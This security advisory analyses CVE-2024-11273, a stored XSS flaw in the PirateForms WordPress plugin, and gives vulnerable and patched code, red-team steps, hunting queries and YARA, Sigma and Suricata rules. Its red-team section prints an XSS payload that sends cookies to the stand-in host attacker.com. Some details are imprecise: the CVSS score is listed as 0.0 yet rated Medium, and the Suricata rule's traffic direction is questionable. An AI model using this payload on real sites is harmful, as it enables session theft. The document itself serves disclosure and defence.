CVE-2024-11273

Executive Summary

CVE-2024-11273 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the Contact Form & SMTP Plugin for WordPress by PirateForms (plugin slug: pirate-forms). The vulnerability exists in versions prior to 2.6.0, where the plugin fails to properly sanitize and escape certain settings. This allows high-privilege users, such as administrators, to inject malicious scripts that are stored and executed when other users (including lower-privilege users) view the affected settings page. In a multisite WordPress configuration, where the unfiltered_html capability is typically disallowed for administrators, this vulnerability becomes particularly dangerous as it bypasses the intended security restriction.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory. Users are advised to update the plugin directly from their WordPress admin dashboard or by downloading the latest version from the WordPress Plugin Directory. No third-party package manager (NPM, PyPI, Go, Ruby) is involved.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD base score not assigned; calculated below)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): High (H) – The attacker must have admin-level access.
• User Interaction (UI): Required (R) – A victim user must view the compromised settings page.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited information disclosure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium (due to high privileges required, but significant impact in multisite environments).

Deep Dive & Mechanics

The vulnerability resides in the settings page of the PirateForms plugin. The plugin stores various configuration options in the WordPress database. When rendering these settings in the admin panel, the plugin fails to apply proper output escaping (e.g., esc_html(), esc_attr()) and input sanitization (e.g., sanitize_text_field(), wp_kses()). An administrator with the ability to edit plugin settings can inject arbitrary HTML and JavaScript into fields that are later displayed without sanitization.

In a standard WordPress installation, administrators have the unfiltered_html capability, which allows them to post arbitrary HTML/JS. However, in a multisite network, this capability is typically revoked for site administrators to prevent cross-site attacks. This vulnerability bypasses that restriction because the plugin does not enforce the unfiltered_html check on its own settings fields.

Attack Flow:

1. An attacker with admin access to a WordPress site (or a subsite in a multisite network) navigates to the PirateForms settings page.
2. The attacker injects a malicious payload (e.g., <script>alert('XSS')</script>) into a vulnerable setting field (e.g., the "From Name" or "Success Message" field).
3. The plugin saves the payload to the database without proper sanitization.
4. When any user (including lower-privilege users like editors or subscribers) visits the settings page or a page that displays the setting (e.g., the contact form frontend), the payload executes in their browser.

Vulnerable vs. Patched Code

Vulnerable Code (version < 2.6.0):

// In admin settings page rendering
echo '<input type="text" name="pirateforms_options[from_name]" value="' . $options['from_name'] . '" />';

The $options['from_name'] value is output directly without escaping.

Patched Code (version 2.6.0):

// In admin settings page rendering
echo '<input type="text" name="pirateforms_options[from_name]" value="' . esc_attr( $options['from_name'] ) . '" />';

The esc_attr() function is used to escape the value, preventing XSS.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Admin access to a WordPress site running PirateForms < 2.6.0.
• A target user who will view the compromised settings page.

Steps:

1. Log in as an administrator.
2. Navigate to Settings > PirateForms.
3. Locate a vulnerable field (e.g., "From Name" or "Success Message").
4. Inject the following payload into the field:

   <script>alert('XSS by RedTeam');</script>
   

5. Save the settings.
6. When another user (e.g., an editor) visits the same settings page, the script executes.

Advanced Payload (Steal Cookies):

<script>document.location='http://attacker.com/steal.php?c='+document.cookie;</script>

Blue Team

Detection:

• Monitor for unusual changes to the pirateforms_options option in the wp_options table.
• Look for admin users modifying plugin settings with suspicious patterns (e.g., <script> tags).
• Use the detection rules provided below.

Hunting:

• Search for stored XSS indicators in the database:

  SELECT * FROM wp_options WHERE option_name = 'pirateforms_options' AND option_value LIKE '%<script>%';
  

• Review server logs for requests to /wp-admin/admin.php?page=pirateforms-admin with POST data containing HTML/JS.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/pirate-forms/pirate-forms.php (version < 2.6.0)
• Database Option: pirateforms_options containing unescaped HTML/JS.
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress admin panel.
• Logs: POST requests to /wp-admin/admin.php?page=pirateforms-admin with payloads in form data.

Detection Engineering

YARA Rule

rule Detect_PirateForms_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in PirateForms plugin settings"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-11273"
    strings:
        $payload1 = /<script[^>]*>.*?<\/script>/is
        $payload2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $option_name = "pirateforms_options"
    condition:
        $option_name and ($payload1 or $payload2)
}

Sigma Rule

title: PirateForms Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-11273 by injecting XSS payloads into PirateForms settings
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        c-uri|contains: '/wp-admin/admin.php?page=pirateforms-admin'
        cs-uri-query|contains:
            - '<script'
            - 'onload='
            - 'onerror='
    condition: selection
falsepositives:
    - Legitimate admin changes with benign HTML (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-11273 - PirateForms Stored XSS Payload in POST";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin.php?page=pirateforms-admin"; http_uri;
    content:"<script"; http_client_body;
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Update the plugin to version 2.6.0 or later from the WordPress Plugin Directory.
2. If immediate update is not possible, disable the plugin until patched.

Long-term Mitigations:

• Implement a Web Application Firewall (WAF) with rules to block XSS payloads in POST requests to plugin settings pages.
• Restrict admin access to trusted users only, especially in multisite environments.
• Regularly audit plugin settings for unexpected changes.
• Use a security plugin (e.g., Wordfence) to monitor for file changes and suspicious activity.

Code-Level Fix (if customizing):

• Always use WordPress escaping functions (esc_html(), esc_attr(), esc_url()) when outputting user-supplied data.
• Validate and sanitize input using sanitize_text_field(), wp_kses(), or similar functions.

Valters IT
Securing Digital Frontiers